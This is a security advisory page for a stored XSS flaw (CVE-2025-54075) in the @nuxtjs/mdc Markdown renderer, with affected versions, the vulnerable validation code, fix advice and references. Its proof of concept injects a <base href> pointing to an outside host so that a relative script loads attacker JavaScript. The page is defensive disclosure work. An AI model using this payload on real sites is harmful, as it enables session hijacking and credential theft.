---
title: "GHSA-cj6r-rrr9-fg82: Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering"
description: "High severity. Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering. Affects @nuxtjs/mdc; fixed in 0.17.2."
url: https://inlinr.com/advisories/GHSA-cj6r-rrr9-fg82
lang: en
---

[Packages](https://inlinr.com/packages) / [@nuxtjs/mdc](https://inlinr.com/packages/@nuxtjs/mdc) / [Security](https://inlinr.com/packages/@nuxtjs/mdc/security)

High Vulnerability GHSA-cj6r-rrr9-fg82 CVE-2025-54075 Published 20 Jul 2025

# Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering

Your version 

Affected releases · [@nuxtjs/mdc](https://inlinr.com/packages/@nuxtjs/mdc)

- 0.17.x 0.17.0 – 0.17.1 Fixed in 0.17.2
- 0.16.x and older 0.1.0 – 0.16.1 No fix, no longer updated

On 0.17.x, the newest line:

```
npm install @nuxtjs/mdc@0.17.2
```

Every release on a timeline

1. Affected

0.1.0 – 0.17.1  
53 releases
2. Fixed

0.17.2 – 0.23.4  
24 releases, latest

77 stable releases of @nuxtjs/mdc, oldest to newest.

## What happens

Summary

A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element.  
The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

- **Affected file** : `src/runtime/parser/utils/props.ts`
- **Core logic** : `validateProp()` inspects  

  - attributes that start with `on` → blocked
  - `href` or `src` → filtered by `isAnchorLinkAllowed()`  
  Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated.

```
export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) return false
  if (attribute === 'href' || attribute === 'src') {
    return isAnchorLinkAllowed(value)
  }
  return true               // ← “href” on <base> not checked
}
```

As soon as `<base href="https://vozec.fr">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

```
<base href="https://vozec.fr">
<script src="/xss.js"></script>
```

1. Start the Nuxt app (`npm run dev`).
2. Visit the page.
3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Impact

- **Type**: Stored XSS via remote script inclusion
- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).
- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Recommendations

1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely.
2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.
3. Publish a patched release and document the security fix.
4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: low
- **Integrity**: low
- **Availability**: low

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:C/​C:L/​I:L/​A:L

## References

- [Reference](https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82 "https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82")  
github.com/nuxt-modules/mdc/security/advisories…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-54075 "https://nvd.nist.gov/vuln/detail/CVE-2025-54075")  
nvd.nist.gov/vuln/detail/CVE-2025-54075
- [Fix commit](https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a "https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a")  
3657a5b
- [Package](https://github.com/nuxt-modules/mdc "https://github.com/nuxt-modules/mdc")  
github.com/nuxt-modules/mdc

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
